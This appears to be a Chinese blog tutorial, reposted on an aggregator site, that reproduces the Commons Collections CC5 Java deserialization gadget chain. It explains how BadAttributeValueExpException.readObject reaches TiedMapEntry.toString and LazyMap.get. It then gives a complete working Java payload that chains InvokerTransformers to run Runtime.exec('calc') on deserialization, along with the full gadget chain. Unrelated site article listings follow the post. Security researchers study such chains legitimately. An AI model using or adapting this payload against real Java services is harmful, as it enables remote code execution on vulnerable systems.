java 反序列化 cc5复现

news/2024/11/15 9:28:35/文章来源:https://www.cnblogs.com/meraklbz/p/18547336

复现环境:common-collections版本<=3.2.1,java版本随意.cc5则是cc6的一个变形,换了一个出口.直接从有变化的位置开看.

TiedMapEntry

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {  private static final long serialVersionUID = -8453869361373831205L;  private final Map map;  private final Object key;  public TiedMapEntry(Map map, Object key) {  this.map = map;  this.key = key;  }  public Object getValue() {  return this.map.get(this.key);  }  public int hashCode() {  Object value = this.getValue();  return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());  }  public String toString() {  return this.getKey() + "=" + this.getValue();  }  
}

通过getValue去触发LazyMapget这点没有变,之前在cc6的时候是通过hashCode去触发的getValue,这里我们改变一下,通过toString来触发getValue

BadAttributeValueExpException

直接看这个类的readObject方法

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {  ObjectInputStream.GetField gf = ois.readFields();  Object valObj = gf.get("val", null);  if (valObj == null) {  val = null;  } else if (valObj instanceof String) {  val= valObj;  } else if (System.getSecurityManager() == null  || valObj instanceof Long  || valObj instanceof Integer  || valObj instanceof Float  || valObj instanceof Double  || valObj instanceof Byte  || valObj instanceof Short  || valObj instanceof Boolean) {  val = valObj.toString();  } else { // the serialized object is from a version without JDK-8019292 fix  val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();  }  
}

可以看到相当于触发了valtoString方法.然而这个val不能通过构造方法去赋值.

public BadAttributeValueExpException (Object val) {  this.val = val == null ? null : val.toString();  
}

否则会在构造方法处直接触发toString,应该通过反射去修改.
写成了payload

package org.example;  import java.io.*;  import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.map.LazyMap;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  import javax.management.BadAttributeValueExpException;  
import java.lang.reflect.*;  
import java.util.HashMap;  
import java.util.Map;  public class Main {  public static void main(String[] args) throws Exception {  ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);  String MethodName1 = "getMethod";  Class[] ParmaType1 = {String.class, Class[].class};  Object[] Parma1 = {"getRuntime", null};  InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);  String MethodName2 = "invoke";  Class[] ParmaType2 = {Object.class, Object[].class};  Object[] Parma2 = {null, null};  InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);  String MethodName3 = "exec";  Class[] ParmaType3 = {String.class};  Object[] Parma3 = {"calc"};  InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);  Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};  ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);  TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);  BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);  Class<?> clazz = badAttributeValueExpException.getClass();  Field val = clazz.getDeclaredField("val");  val.setAccessible(true);  val.set(badAttributeValueExpException, tiedMapEntry);  serial(badAttributeValueExpException);  unserial();  }  public static void serial(Object obj) throws Exception {  ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  out.writeObject(obj);  }  public static void unserial() throws Exception {  ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  in.readObject();  }  
}

归纳总结得出利用链:

Gadget chain:
ObjectInputStream.readObject()BadAttributeValueExpException.readObject()TiedMapEntry.toString()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/833857.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【教程】第七章:工作流——自动赋能,效率飞跃

一起在 NocoBase 中创造精彩应用!这些教程将通过手把手的操作,帮助你全面掌握核心功能,激发灵感,打造并分享满足多样需求的应用。恭喜你走到了这最后一章!我们将在这一章中介绍和简单探索 NocoBase 的强大工作流功能。通过这个功能,你可以为系统中的任务自动化操作,节省…

MySQL 错误1055 永久解决方案

详情见:https://www.cnblogs.com/haoyul/p/9882853.html

生产订单修改记录报表

1、写在前面 生产订单修改记录报表对于项目上并不陌生。通常会在增强中编写逻辑来判断生产订单主要信息是否有变更,有则保存到日志表,并通过查询报表展示,帮助用户查看生产订单发生的修改。 本文档的代码,只是对现有逻辑的一些优化,通过配置表的方式,设置监控字段,灵活监…

manim边做边学--圆锥

Cone是Manim中专门用于创建和操控锥形几何对象的类。 Cone允许用户定义锥体的底面半径、高度、颜色、不透明度等属性,并提供了一系列方法来操控这个锥体,如移动、缩放、旋转等。 通过这些属性和方法,用户可以灵活地创建出符合自己需求的锥形对象,并将其融入到动画或演示中。…

远光天鹿:重塑数字化时代软件设计新体验

在当今数字化时代,用户体验已成为衡量软件产品成功与否的关键指标。然而,传统的软件设计模式存在流程繁琐、效率低下、资源浪费等弊端,严重制约了产品创新的步伐。为此,远光软件创新推出高效智能的用户体验创新平台——远光天鹿。传统设计模式的挑战 传统软件设计模式涵盖需…

速度与安全并重:交通运输业异地跨地区文件传输的创新方案!

在交通运输业中,总部需要异地跨地区文件传输给分支机构的文件种类繁多,这些文件通常涵盖公司的战略规划、运营指导、规章制度、业务数据等多个方面。以下是一些常见的总部需要异地跨地区文件传输的文件类型: 1.战略规划与考核文件:公司长期发展规划、年度经营计划、绩效考核…

Qt/C++地图高级绘图/指定唯一标识添加删除修改/动态显示和隐藏/支持天地图高德地图百度地图

一、前言说明 已经有了最基础的接口用来添加覆盖物,而且还有通过进入覆盖物模式动态添加覆盖物的功能,为什么还要来个高级绘图?因为又有新的需求,给钱就搞,一点底线都没有。无论哪个地图厂家,提供的接口都是没有唯一标识参数的,也就类似于学号,这就是需要自己主动定一个…

网站换主页在哪里修改

要修改网站的主页,通常需要访问网站的后台管理系统或直接编辑服务器上的文件。具体步骤取决于你的网站是如何构建和托管的。以下是一些常见的方法:使用CMS(内容管理系统):登录到你的CMS后台(如WordPress, Joomla, Drupal等)。 导航到“外观”或“主题”部分,选择当前使…

织梦数据库配置文件数据库损坏:尝试修复数据库

数据库损坏:尝试修复数据库:REPAIR TABLE table_name;如果无法修复,考虑从备份恢复数据库。扫码添加技术【解决问题】专注中小企业网站建设、网站安全12年。熟悉各种CMS,精通PHP+MYSQL、HTML5、CSS3、Javascript等。承接:企业仿站、网站修改、网站改版、BUG修复、问题处理…

一个asp网站的mdb数据库修改,如何在Access数据库中修改ASP网站的数据

Access数据库是一种常用的桌面数据库,常用于小型网站的数据管理。以下是具体步骤:打开Access数据库:打开Microsoft Access应用程序。 导入或打开现有的Access数据库文件(.mdb或.accdb)。导航到数据表:在Access主界面中,选择“表”视图。 找到需要修改的数据表,双击打开…

如何修改我的网站页面,如何在网站后台或代码编辑器中修改网站页面内容

修改网站页面内容可以更新信息和提升用户体验。以下是修改网站页面内容的步骤:登录网站后台:打开浏览器,输入网站的后台地址,例如 http://yourdomain.com/admin。 输入管理员账号和密码,点击“登录”。进入内容管理:登录后,点击顶部菜单栏中的“内容”或“文章”。 选择…

修改网站上的页面,如何优化网页设计与功能

修改网站上的页面不仅仅是更改文本或图片,更重要的是优化用户体验和网站性能。以下是一些关键步骤:分析用户需求:通过用户调研或数据分析了解用户偏好,据此调整页面布局和内容。 提高加载速度:优化图片大小,减少HTTP请求,使用CDN加速等方法提升页面加载速度。 响应式设计…